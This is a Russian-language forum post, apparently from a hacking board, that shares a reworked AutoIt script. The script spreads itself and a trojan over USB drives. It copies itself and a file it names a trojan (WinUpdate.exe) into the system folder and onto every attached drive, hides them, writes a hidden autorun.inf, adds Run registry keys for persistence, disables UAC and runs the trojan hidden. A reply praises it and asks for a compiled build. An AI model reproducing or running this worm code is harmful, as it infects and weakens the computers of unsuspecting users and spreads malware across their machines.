Нашел скрипт определения подключения USB накопителей(http://www.autoitscript.com/forum/topic/79460-usbmon/) и не много переделал Что делает скрипт: при подключении флешки копирует и запускает ваш файл прописывается в автозагрузку,отключает UAC. если скрипт запущен то при подключении флешки,мобилы(в режиме накопителя) и др. логических дисков копирует себя и ваш(ы) файл(ы) даже на 7 -8 не зависимо вкл. или нет автозапуск програм. в скрипте есть пояснения Код: #NoTrayIcon ; rasim ; http://www.autoitscript.com/forum/topic/79460-usbmon/ #include <GUIConstantsEx.au3> #include <Misc.au3> ;Проверка наличии скрипта в @SystemDir Dim $script $script = @SystemDir & "\" & @ScriptName $scr = @ScriptName If Not FileExists($script) Then FileCopy($scr, @SystemDir, 1) ;копируем с флэш на комп FileSetAttrib($script, "+SRAH") ;прячем на компе RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", @ScriptName, "REG_SZ", $script) RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "" & @ScriptName & "", "REG_SZ", "" & $script & "") Run($script, "", @SW_HIDE) EndIf Global Const $WM_DEVICECHANGE = 0x0219 Global Const $DBT_DEVICEARRIVAL = 0x8000 ; Найдено новое устройство Global Const $DBT_DEVICEREMOVECOMPLETE = 0x8004 ; Устройство отключено Global Const $DBT_DEVTYP_VOLUME = 0x00000002 ; Логический диск Global $k = 0 $Gui = GUICreate("WM_DEVICECHANGE", 370, 140) GUISetState(@SW_HIDE) GUIRegisterMsg($WM_DEVICECHANGE, "WM_DEVICECHANGE") Do Until GUIGetMsg() = -3 Func WM_DEVICECHANGE($hWnd, $Msg, $wParam, $lParam) $k += 1 ;WinSetTitle($Gui, '', 'Вызов ' & $k) If ($wParam = $DBT_DEVICEARRIVAL) Or ($wParam = $DBT_DEVICEREMOVECOMPLETE) Then Local $DEV_BROADCAST_VOLUME = DllStructCreate("int dbcvsize;int dbcvdevicetype;int dbcvreserved;int dbcvunitmask;" & _ "ushort dbcvflags", $lParam) Local $iDriveType = DllStructGetData($DEV_BROADCAST_VOLUME, "dbcvdevicetype") Else Return $GUI_RUNDEFMSG EndIf ; Если устройство не является логическим диском, то выход из функции If $iDriveType <> $DBT_DEVTYP_VOLUME Then Return $GUI_RUNDEFMSG Local $iMask = DllStructGetData($DEV_BROADCAST_VOLUME, "dbcvunitmask") $iMask = Log($iMask) / Log(2) Local $iDrive = Chr(65 + $iMask) & ":" Switch $wParam Case $DBT_DEVICEARRIVAL ; обнаружение устройства ;Создаем на свое усмотрение $script = @SystemDir & "\" & @ScriptName ; Создаем Autorun.inf Local $a = '[autorun]' Local $a1 = 'shellexecute=' & @ScriptName Local $a2= 'shell\Explore\Command=' & @ScriptName Local $a3 = 'shell\Autoplay\command=' & @ScriptName FileDelete($iDrive & "\" & "autorun.inf") $file = FileRead($iDrive & "\" & "autorun.inf") FileWrite($iDrive & "\" & "autorun.inf", $a & @CRLF & $file) FileWrite($iDrive & "\" & "autorun.inf", $a1 & @CRLF & $file) FileWrite($iDrive & "\" & "autorun.inf", $a2 & @CRLF & $file) FileWrite($iDrive & "\" & "autorun.inf", $a3 & @CRLF & $file) FileSetAttrib($iDrive & "\autorun.inf", "+SRAH") ;прячем на флэш ;добавляем в автозагрузку эту прогу ;Винда 7 - 8 RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", @ScriptName, "REG_SZ", @SystemDir & "\" & @ScriptName) RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", @ScriptName, "REG_SZ", @SystemDir & "\" & @ScriptName) ;Винда XP RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "" & @ScriptName & "", "REG_SZ", "" & $script & "") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "" & @ScriptName & "", "REG_SZ", "" & $script & "") ;Отключаем UAC RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA", "REG_DWORD", "0") ;Настройки передачи файлов If Not FileExists($iDrive & "\" & @ScriptName) Then ;если нет на флэш этой проги FileCopy($script, $iDrive, 1) ;копируем с компа на флеш эту прогу FileSetAttrib($iDrive & "\" & @ScriptName, "+SRAH") ;прячем на флэш EndIf If Not FileExists($iDrive & '\WinUpdate.exe') Then ;если нет на флэш трояна FileCopy(@SystemDir & '\WinUpdate.exe', $iDrive, 1) ;копируем с компа на флеш троян FileSetAttrib($iDrive & '\WinUpdate.exe', "+SRAH") ;прячем на флэш EndIf If Not FileExists($script) Then ;если нет в компе этой проги FileCopy($iDrive & "\" & @ScriptName, @SystemDir, 1) ;копируем с флэш на комп FileSetAttrib($script, "+SRAH") ;прячем на компе EndIf If Not FileExists(@SystemDir & '\WinUpdate.exe') Then ;если нет в компе трояна FileCopy($iDrive & '\WinUpdate.exe', @SystemDir, 1) ;копируем с флэш на комп FileSetAttrib(@SystemDir & '\WinUpdate.exe', "+SRAH") ;прячем на компе EndIf ;Настройки запуска файлов If Not ProcessExists("WinUpdate.exe") Then Run(@SystemDir & '\WinUpdate.exe', "", @SW_HIDE) ;Если троян запущен ни чего не делаем Case $DBT_DEVICEREMOVECOMPLETE ; отключение устройства ;Run(@SystemDir & "\" & @ScriptName, "", @SW_HIDE) ;После извлечения флэш запускаем прогу с SystemDir EndSwitch Return $GUI_RUNDEFMSG EndFunc На XP работает 100% на 7 -8 должен быть вкл. автозапуск.(опять же если первый запуск) Компилировать не стал.
ой молодца,офигенчик если действительно рабит...тебе руки целовать ..давно искал такой скриптик..в закомпиленном виде можешь выложить?